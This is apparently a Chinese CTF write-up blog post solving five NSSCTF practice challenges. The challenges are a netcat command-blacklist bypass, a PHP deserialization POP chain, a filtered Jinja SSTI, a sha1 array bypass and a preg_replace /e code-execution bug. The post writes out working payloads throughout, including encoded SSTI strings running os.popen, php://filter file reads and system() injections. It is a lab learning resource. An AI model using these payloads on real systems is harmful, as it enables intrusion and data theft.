NSSCTF靶场刷题(3)

这次记载的题目除了web还有pwn方向的题,想着慢慢开始接触pwn。立志于各方向都学会一些。毕竟安全是个很庞大的系统。这次记录的都是一些新手题。从开头慢慢开始吧。个人主方向还是web。

题目解析还是尽我所能把细节阐释到位,尽量做到看完一篇wp就能解决疑惑。在解析过程中把解题逻辑理清晰,从小白视角解析清楚,把细枝末节的问题解释到位。

当然,如果题目解析哪里有不恰当的地方恳请各位师傅指出!

[SWPUCTF 2021 新生赛]nc签到【pwn】

开题。

第一次做pwn方向的题。

做题需要下载题目附件和使用netcat

附件用记事本打开。

先代码审计一把它的附件内容。

附件主要分为输出部分和检审部分

//输出部分。

print(art)  //第一步:先输出一大堆符号
print("My_shell_ProVersion")   //第二步:输出字符串“My_shell_ProVersion”

//检审部分。

而黑名单【blacklist】是:

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
​
//cat
//ls
//空格
//cd
//echo
//<
//${IFS}  //其实就是空格的一种平替,平时这个可以用来绕过对于空格的一般过滤

和附件中的代码一样。只要我们写 ls 或者 ls / 就会退出交互模式。

那么要想拿到flag,此时我们此时应该绕过一下关键字。

怎么绕?用''或者\即可。

可以在字母之间加上\和''等无用字符,系统自动跳过识别。

空格可用$IFS$5(数字可以是任意数字,,比如我此时写成 $IFS$8 也可以)替代。

然后tac一下flag即可。

tac$IFS$5flag

拿到flag。

[GDOUCTF 2023]反方向的钟【web】

开题。

这其实还是一道挺简单的反序列化题目。很适合新手用来练手反序列化。

先代码审计解释一下poc链的构造吧。

<?php
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name; //第9步:按照第7步所说设置
    public $rank; //第9步:按照第7步所说设置
}
​
class classroom{
    public $name;
    public $leader;           //第8步:设置为new teacher由于第6步写的是 //$this->leader->name == 'ing' and $this->leader->rank =='department'
    public function hahaha(){ 
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;  //第7步:想要返回True,必须使得$this->name == 'one class' and $this->leader->name == 'ing' and $this->leader->rank =='department'
        }
        else{
            return True;     //第6步:hahaha方法中找到可以返回True的地方。
        }
    }
}
​
class school{
    public $department; //第5步:设置这里为 new classroom。根据第4步,只有类classroom中有返回True的地方。
    public $headmaster; 
    public function IPO(){
        if($this->headmaster == 'ong'){  //第2步;设置headmaster == 'ong'之后才会执行第1步.
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);  //第1步:找到链源头。
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {   //第4步;此语句为True时执行第3步.
            $this->IPO();  //第3步:找到可以返回方法IPO的地方。
        }
    }
}
​
//if(isset($_GET['d'])){
    //unserialize(base64_decode($_GET['d']));
//}
​
//构造方法我们一般是从链头开始。
$m=new school();
$m->headmaster='ong';
$m->department=new classroom();
$m->department->name='one class';            //classroom->name = 'one class'
$m->department->leader=new teacher();        //classroom->leader = teacher()
$m->department->leader->name='ing';          //teacher->name = 'ing'
$m->department->leader->rank='department';   //teacher->rank = 'department'
$n=serialize($m);  //编码顺序我们按照题目给的从里到外写即可。
$p=base64_encode($n);
echo $p;
​
?>

这段php代码放进phpstudy_pro里再本地运行一下。或者在线php运行一下都可以。

payload:

http://node5.anna.nssctf.cn:28931/?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30

拿着我们的得到的poc链传参一下。

一开始我是直接GET用了poc链之后

POST处写的是:

a=eval&b=system('ls /');

但是只得到回显“Pretty Good! Ctfer!”

这表明我的poc链在构造上是没有出任何问题的。

因为能回显这一串代表我同样能执行代码

echo new $_POST['a']($_POST['b']);

但是为什么没能回显flag或者是提取根目录呢?

搜了一下其他师傅的wp。

基本上都是用php的内置类SplFileObject来读取文件内容

这里我们来结合payload来浅浅解析一下。

payload:

//POST传参处
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

SplFileObject:读取文件的PHP原生内置类

原生内置类,顾名思义。就是PHP自带的类

当我们通过可查找文件的原生类查找到敏感文件时可用此类,来读取敏感文件内的内容

该类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)

写段php举个例子来解释。

<?php
​
    echo SplFileObject(flag.php)
    
?>

这种情况下就可以应用于如下示例中。

<?php
    
$a = $_GET['a']; 
 
$b = $_GET['b']; 
 
echo new $a($b); //等于 echo new $_GET['a']($_GET['b']); 和本题中执行shell的payload有异曲同工之妙。
​
?>

但是直接加入文件的的话,它只会返回文件的第一行字符,如果想要返回文件全部内容的话须借助php://filter伪协议

所以我们的post传参中payload利用到了filter伪协议。

具体其他可以参考这篇文章:php原生类及其利用

拿着这串编码去base64解密一下:

得到flag。

[安洵杯 2020]Normal SSTI【web】

开题。

按照题目意思。那我们试试访问url/test

得到一个报错界面。仔细看看,被红框圈住的地方很显眼。

打开看见部分码源:

噢噢。这个时候才反应过来,页面最初开始提醒我们应该是访问 url/test?url=xxx

也就是http://node4.anna.nssctf.cn:28859/test?url=xxx

结合源码中render_template_string函数。大概率是一题SSTI题目虽然题目名字已经说了是SSTI。在这里再说一遍的原因是,在真实比赛中往往是没有提示告诉你是不是SSTI的。也有可能是SQL注入方向,而且SQL注入和SSTI注入二者在原理上很相似。

return render_template_string('<h1>this is your url {}</h1>'.format(url))

这个时候我们反过去访问一下

url/test?url

可以看见当参数url【第一个url指的是原网址,第二个url是参数名】为空时。回显【this is your url】

再试试是否存在SSTI

我们写

url/test?url={{7*7}}

哦吼。回显是【do a real p1g】

为什么会这么回显?

让我们这个时候再来分析一波报错页面下的码源

#报错页面下的码源
​
    for black in url_black_list:  #url_black_list 简单翻译就是参数url的黑名单
​
        if black in url:  #如果参数url中存在【url_black_list】里面的值
​
            return '<h1>do a real p1g</h1>'  #则回显界面【do a real p1g】
    url = request.args.get('url')  #反之,如果url中没有黑名单的值,则赋值url=页面传参获取到的url。
    for black in url_black_list:  #同理上面
​
        if black in url:  
​
            return '<h1>do a real p1g</h1>'  #二次过滤
​
    return render_template_string('<h1>this is your url {}</h1>'.format(url))   #如果url在二次过滤后仍然没有黑名单中的值,则使用render_template_string()函数将url的内容【字符串形式】渲染到web页面上,如果不存在SSTI,则在无过滤情况下类似于{{7*7}}还是会回显【7*7】,反之存在SSTI的话,回显【49】。
​

那我们先用BP的爆破来fuzz一下。

这里我用平时做题收集到的常见过滤做了一个集合。

【这部分会随着遇到新的过滤持续更新↓】

//ssti-fuzz.txt
.
[
]
_
{
}
{{
}}
(
)
()
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
'
"
+
%20
%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
|attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_app
config

然后看看哪些被过滤了。

1.确定好fuzz位。

2.载入ssti-fuzz.txt文本【ssti-fuzz库】后【开始攻击】

3.分析fuzz过后的表单。具体区别看回显【长度】

在这个fuzz测试中。红框圈住的部分长度均为【176】,回显均是【do a real p1g】。其【有效载荷】部分都是被ban的

绿框圈住的部分长度均为【181】,回显均是【this is your url xxx】(xxx就是有效载荷的内容)。其【有效载荷】部分都是可以使用的。

蓝框圈住的部分【其实是空】长度为【180】,回显应该是【this is your url】。其【有效载荷】是ok的。

这就意味着:

//被ban清单。
.
[
]
_
{{
{%if
{%endif
'
"
+
%20
%2b
request
args

我们预设payload是:

//【还没换成过滤后的payload】三种任一都可以。
{{lipsum.__globals__.get("os").popen("tac /flag").read()}}  //1
{{config.__class__.__init__.__globals__['os'].popen('tac /flag').read()}}  //2
{{config.__class__.__init__.__globals__.get("os").popen('tac /flag').read()}}  //3

随便选1来写成最终payload

//过滤替换一览表
{{}}  ==  {%print%}
​
.    ==  |attr("")
​
_   ==  \u005f                //unicode编码绕过

这里提供一个python脚本用来跑unicode编码用

#python_for_unicode_encode.
​
class_name = input("需要unicode加密的内容:")
 
unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
 
print(unicode_class_name)
//示例
​
url/test?url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
​
//=={{"".__class__}}

payload:

//step1:找os类
​
url/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}   
【{%print(lipsum.__globals__)%}】
​
//step2:利用os模块中popen函数执行命令查看根目录

url/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}
【{%print(lipsum.__globals__.get("os").popen("ls /").read())%}】
​
//step3:获取flag

url/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0074\u0061\u0063\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}
【{%print(lipsum.__globals__.get("os").popen("tac /flag").read())%}
查看根目录
获取flag

[极客大挑战 2020]welcome 【web】

开题。

页面开局是空白的。

dirsearch扫目录也没扫到有用的路由。

访问url/index.php回显也是空白。

码源也什么也没有

去看看题目提示。

提示1中另外一种传参方式?POST?

还确实是用POST传参来得到界面。

我们先代码审计一下:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");  //如果不用POST传参方式访问页面。则回显错误405
exit();
} else {  //如果是POST传参访问,则启用else模块代码。
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);  //POST传参如果没有roam1和roam2则显示码源内容。
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();   //POST传参同时有roam1和roam2,且二者值不等,sha1值强相等时,可看phpinfo(),结合题目提示3,flag的线索就在phpinfo中
    }
} 

payload:

roam1[]=1&roam2[]=4  //这里我们用数组绕过。或者找一对强碰撞相等的哈希值使其相等即可。

好像是没有直接的flag的。

有一个可疑文件。且仔细看这个文件就在当前目录下。

/var/www/html/f1444aagggg.php 和 index.php同在html目录下。

【意味着不需要目录穿越去访问。】

既然phpinfo()里找不到$FLAG.

那我们去url/f1444aagggg.php看看什么情况。

????嗯???

实在没思路了。看别的师傅说用BP拦截再发包,flag藏header里。

虽然难找,但确实又提供了一个新的出题思路给我。很有趣。

[BJDCTF 2020]ZJCTF,不过如此【web】

开题。

先代码审计一下。

<?php
​
error_reporting(0);  //不会出现报错信息。如果想要出现报错信息,将‘0’改‘1’
$text = $_GET["text"]; //GET传参,参数名为text;
$file = $_GET["file"]; //GET传参,参数名为file;
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){//检查是否存在参数text并且text在file_get_contents函数读取下要等于“I have a dream”
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";  //如果第一个if执行成功则会回显界面【I have a dream】
    if(preg_match("/flag/",$file)){  //参数file中不能出现“flag”
        die("Not now!");
    }
​
    include($file);  //next.php  //题目提示告诉我们【next.php】,结合代码块【include($file);】我们用php可用伪协议查看。
    
}
else{
    highlight_file(__FILE__);  //如果以上均不成立,高亮本文件代码。
}
?>

要拿flag。我们要绕过两个if。

而且要先要去看next.php。【根据题目页面码源提示。】

绕第一个IF语句:

这里有两种方法,均是利用php伪协议。

法一:php://input

原理:file_get_contents()是从文件中读取数据而php://input 是个可以访问请求的原始数据的只读流。通过它可以读取没有处理过的POST数据,从而为file_get_contents()提供数据源。

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

这里个人建议用bp来传参。我在做的时候hackbar传POST中的i have a dream好像传不了,不知道为什么。

法二:data://text/plain

file_get_contents函数是把文件读入一个字符串中。‘r’:只读模式。

data伪协议,结合一下示例说明一下。

//example_data伪协议的用法。
​
//data://text/plain,   
file=data://text/plain,<?php%20phpinfo();?>
 
//data://text/plain;base64,  
file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b  
                                         //这里是base64加密后的<?php phpinfo();?>

通过file和php://filter结合读next.php文件和法一一样。

payload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

base64解码一下这段next.php

我们来浅浅审计一下。

//base64_decode_of_next.php
​
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
​
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei', //preg_replace()在/e的匹配模式下,会将替换后的字符串作为php代码执行
        'strtolower("\\1")',
        $str
    );
}
​
​
foreach($_GET as $re => $str) {//将GET传入的键【$re】和值【$str】成对遍历后放进函数comlpex()
    echo complex($re, $str). "\n";
}
​
function getFlag(){   //此函数有执行eval函数权限。应该是最终目标。
    @eval($_GET['cmd']);
}
​

这个正则表达式之前我也不是很熟悉。搜索一番下我来结合其本身语法和具体实例讲解一下。

//本身语法
preg_replace($pattern , $replacement , $subject);
其中
$pattern为正则表达式
$replacement为替换字符串
$subject 为要搜索替换的目标字符串或字符串数组
但。
此函数存在一个特点,正则表达式$pattern以/e结尾时$replacement的值会被作为php函数执行。
也就可以被执行恶意代码。
​
//具体实例1
preg_replace (‘/test/e’ , "phpinfo();" , "test" )
即test此时因为以/e结尾。同时被替换成phpinfo();
所以执行phpinfo();
​
//具体实例2
preg_replace('/(\S)(\S)/i','strtolower("\\1")', "123Abc")
\S表示匹配任何非空字符。
()表示匹配的子串。
strtolower("\1")有点特别,通过查阅资料\1表示取出正则匹配后的第一个子匹配中的第一项。
怎么理解?我分3步来解释。
​↓
//第一步:
php对123Abc进行匹配,正则表达式为(\S)(\S),匹配任意2个非空字符
第一下会匹配"12"但只取第一个,即“1”
//第二步:
结果就正则首先匹配到的是[’1‘ ,’2‘],然后将其替换成strtolower("\1"),又因为\1会匹配第一个子串,所以strtolower("\1")就变成了strtolower(“1”)
//第三步:
得到strtolower(“1”)strtolower(“3”)strtolower(“b”)

题目中其实也是strtolower(),那么,如何让strtolower("")里面的内容当作函数被执行呢?

PHP有个知识点

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

而在本题中。代码块是这样的:

(' . $re . ')  //单引号,所以$re不会被解析成变量。
如果是
(" . $re . ")  //双引号,$re会被解析成变量

也就是说我们需要构造一个变量来达到执行命令的目的。

我们的payload可以写成:

/next.php?id=1&\S*=${getFlag()}&cmd=system('ls /');  



//这里id随便设置,cmd写完RCE后要记得分号闭合。
// \S 匹配任意非空白字符(空白字符如回车、换行、分页等 )
// *  贪婪模式,匹配任意次的最大长度。

但不能写成这样: 

////如果没有GET传参'.' → '_'机制情况下,可以这么写payload:

/next.php?id=1&\.*=${getFlag()}&cmd=system('ls /'); 

//. 匹配任意字符但不包含回车换行

所以我们用 ’\S‘ 来替换 ’.‘
${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1}
(phpinfo()成功执行返回true,true在bool值情况下就是1,同理False为0)
/next.php?id=1&\S*=${getFlag()}&cmd=system('cat /flag');

但是

/next.php?id=1&\S*=${getFlag()}&cmd=system('cat /flag');

这个payload看不了。估计是触发到过滤机制了。

换个payload看phpinfo。

/next.php?id=1&\S*=${getFlag()}&cmd=system(phpinfo());

ok。拿到flag了。这道题我认为难点就在base64解析之后的那串php代码中。也算长见识了。

  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值